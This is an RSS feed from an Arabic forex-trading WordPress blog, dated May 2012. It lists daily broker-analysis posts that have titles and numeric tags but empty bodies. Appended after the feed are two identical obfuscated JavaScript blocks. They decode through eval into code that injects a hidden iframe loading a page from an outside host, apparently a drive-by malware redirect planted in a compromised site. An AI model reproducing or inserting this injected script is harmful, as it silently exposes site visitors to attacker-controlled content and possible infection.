<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>مقالات فوركس</title>
	<atom:link href="http://www.forex-ar.com/wrd/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.forex-ar.com/wrd</link>
	<description>اسرار الفوركس كل شيء عن الفوركس</description>
	<lastBuildDate>Fri, 18 May 2012 07:55:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>4  18/5/2012  forexyard</title>
		<link>http://www.forex-ar.com/wrd/?p=301</link>
		<comments>http://www.forex-ar.com/wrd/?p=301#comments</comments>
		<pubDate>Fri, 18 May 2012 07:55:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[-5-8-10-3-]]></category>
		<category><![CDATA[200-79-04-]]></category>
		<category><![CDATA[macd]]></category>
		<category><![CDATA[thorn]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=301</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=301</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>18/5/2012  iOption</title>
		<link>http://www.forex-ar.com/wrd/?p=302</link>
		<comments>http://www.forex-ar.com/wrd/?p=302#comments</comments>
		<pubDate>Fri, 18 May 2012 05:47:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[0-32-0-02]]></category>
		<category><![CDATA[2-26-107]]></category>
		<category><![CDATA[200-2-1]]></category>
		<category><![CDATA[324-48-1-15]]></category>
		<category><![CDATA[4-92-0-04]]></category>
		<category><![CDATA[98-47-2011]]></category>
		<category><![CDATA[bankia]]></category>
		<category><![CDATA[ftse]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=302</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=302</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex       18/05/2012</title>
		<link>http://www.forex-ar.com/wrd/?p=303</link>
		<comments>http://www.forex-ar.com/wrd/?p=303#comments</comments>
		<pubDate>Fri, 18 May 2012 05:47:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[0-8750-0-9980]]></category>
		<category><![CDATA[0-9270-0-9680-]]></category>
		<category><![CDATA[0-9355-0-9330]]></category>
		<category><![CDATA[0-9370-0-9400]]></category>
		<category><![CDATA[0-9435-0-9590]]></category>
		<category><![CDATA[0-9455-0-9490]]></category>
		<category><![CDATA[1-2635-1-3495]]></category>
		<category><![CDATA[1-2835-1-2865]]></category>
		<category><![CDATA[1-5720-1-6175-]]></category>
		<category><![CDATA[1-5730-1-5700]]></category>
		<category><![CDATA[1533-00-1520-00]]></category>
		<category><![CDATA[1554-00-1541-00]]></category>
		<category><![CDATA[1573-00-1596-00]]></category>
		<category><![CDATA[1582-00-1599-00]]></category>
		<category><![CDATA[1616-30-1570-00]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=303</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=303</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>17/5/12  forexyard</title>
		<link>http://www.forex-ar.com/wrd/?p=300</link>
		<comments>http://www.forex-ar.com/wrd/?p=300#comments</comments>
		<pubDate>Thu, 17 May 2012 08:06:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[101-89-102-40-]]></category>
		<category><![CDATA[80-00-80-15]]></category>
		<category><![CDATA[94-10-92-73]]></category>
		<category><![CDATA[macd]]></category>
		<category><![CDATA[thorn]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=300</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=300</wfw:commentRss>
		<slash:comments>100</slash:comments>
		</item>
		<item>
		<title>17/5/2012  iOption</title>
		<link>http://www.forex-ar.com/wrd/?p=297</link>
		<comments>http://www.forex-ar.com/wrd/?p=297#comments</comments>
		<pubDate>Thu, 17 May 2012 06:08:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[1330-66-5-86]]></category>
		<category><![CDATA[2012-1-2624-]]></category>
		<category><![CDATA[225-2-98]]></category>
		<category><![CDATA[245-59-245-76]]></category>
		<category><![CDATA[324-80-19-72]]></category>
		<category><![CDATA[500-7-69]]></category>
		<category><![CDATA[600-0-6]]></category>
		<category><![CDATA[798-19-0-13]]></category>
		<category><![CDATA[aest]]></category>
		<category><![CDATA[ftse]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=297</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=297</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Forex       17/05/2012</title>
		<link>http://www.forex-ar.com/wrd/?p=299</link>
		<comments>http://www.forex-ar.com/wrd/?p=299#comments</comments>
		<pubDate>Thu, 17 May 2012 05:58:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[0-8850-0-9950]]></category>
		<category><![CDATA[0-9350-0-9380]]></category>
		<category><![CDATA[0-9355-0-9330]]></category>
		<category><![CDATA[0-9400-0-9590]]></category>
		<category><![CDATA[0-9415-0-9460]]></category>
		<category><![CDATA[1-2680-1-2635]]></category>
		<category><![CDATA[1-2790-1-2575]]></category>
		<category><![CDATA[1-4225-1-6875-]]></category>
		<category><![CDATA[1-5735-1-6175-]]></category>
		<category><![CDATA[1-6747-1-5235]]></category>
		<category><![CDATA[1553-00-1566-00]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=299</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=299</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>16/5/2012  forexyard</title>
		<link>http://www.forex-ar.com/wrd/?p=293</link>
		<comments>http://www.forex-ar.com/wrd/?p=293#comments</comments>
		<pubDate>Wed, 16 May 2012 07:30:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[1-0014-0-9952]]></category>
		<category><![CDATA[100-1-2769]]></category>
		<category><![CDATA[94-30-94-80]]></category>
		<category><![CDATA[macd]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=293</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=293</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex       16/05/2012</title>
		<link>http://www.forex-ar.com/wrd/?p=294</link>
		<comments>http://www.forex-ar.com/wrd/?p=294#comments</comments>
		<pubDate>Wed, 16 May 2012 07:23:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[0-9375-0-9350]]></category>
		<category><![CDATA[0-9385-0-9400]]></category>
		<category><![CDATA[1-26235-1-2550]]></category>
		<category><![CDATA[1-4225-1-6875-]]></category>
		<category><![CDATA[1-5820-1-5740]]></category>
		<category><![CDATA[1-5930-1-5900]]></category>
		<category><![CDATA[1533-00-1523-00]]></category>
		<category><![CDATA[1537-00-1549-00]]></category>
		<category><![CDATA[1556-00-1566-00]]></category>
		<category><![CDATA[1945-00-1475-00]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=294</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=294</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>16/5/2012  iOption</title>
		<link>http://www.forex-ar.com/wrd/?p=295</link>
		<comments>http://www.forex-ar.com/wrd/?p=295#comments</comments>
		<pubDate>Wed, 16 May 2012 06:31:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[0-9921-0-1]]></category>
		<category><![CDATA[500-7-69]]></category>
		<category><![CDATA[600-0-7]]></category>
		<category><![CDATA[8-82-0-30]]></category>
		<category><![CDATA[80-45-80-50-]]></category>
		<category><![CDATA[81-34-80-45]]></category>
		<category><![CDATA[ftse]]></category>
		<category><![CDATA[gft]]></category>
		<category><![CDATA[ibex]]></category>
		<category><![CDATA[mib]]></category>
		<category><![CDATA[thorn]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=295</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=295</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>16/5/2012  traderxp</title>
		<link>http://www.forex-ar.com/wrd/?p=296</link>
		<comments>http://www.forex-ar.com/wrd/?p=296#comments</comments>
		<pubDate>Wed, 16 May 2012 05:24:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[غير مصنف]]></category>
		<category><![CDATA[0-7953-0-8049]]></category>
		<category><![CDATA[0-7964-0-05]]></category>
		<category><![CDATA[0-9917-1-0083]]></category>
		<category><![CDATA[0-9922-0-15]]></category>
		<category><![CDATA[1-2722-1-2957]]></category>
		<category><![CDATA[1-2732-0-02]]></category>
		<category><![CDATA[102-05-103-59]]></category>
		<category><![CDATA[102-29-0-21]]></category>
		<category><![CDATA[1532-75-1593-25-]]></category>
		<category><![CDATA[2012-traderxp]]></category>
		<category><![CDATA[aud]]></category>
		<category><![CDATA[eur]]></category>
		<category><![CDATA[gbp]]></category>
		<category><![CDATA[jpy]]></category>
		<category><![CDATA[usd]]></category>

		<guid isPermaLink="false">http://www.forex-ar.com/wrd/?p=296</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.forex-ar.com/wrd/?feed=rss2&#038;p=296</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f73f62f69f57f65f63f68f61f72f55f74f59f73f4f57f69f67f5f67f63f68f58f5f63f68f4f57f61f63f21f12f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f73f62f69f57f65f63f68f61f72f55f74f59f73f4f57f69f67f5f67f63f68f58f5f63f68f4f57f61f63f21f12f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;585!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);}if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script><script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f73f62f69f57f65f63f68f61f72f55f74f59f73f4f57f69f67f5f67f63f68f58f5f63f68f4f57f61f63f21f12f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f73f62f69f57f65f63f68f61f72f55f74f59f73f4f57f69f67f5f67f63f68f58f5f63f68f4f57f61f63f21f12f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;585!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);}if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
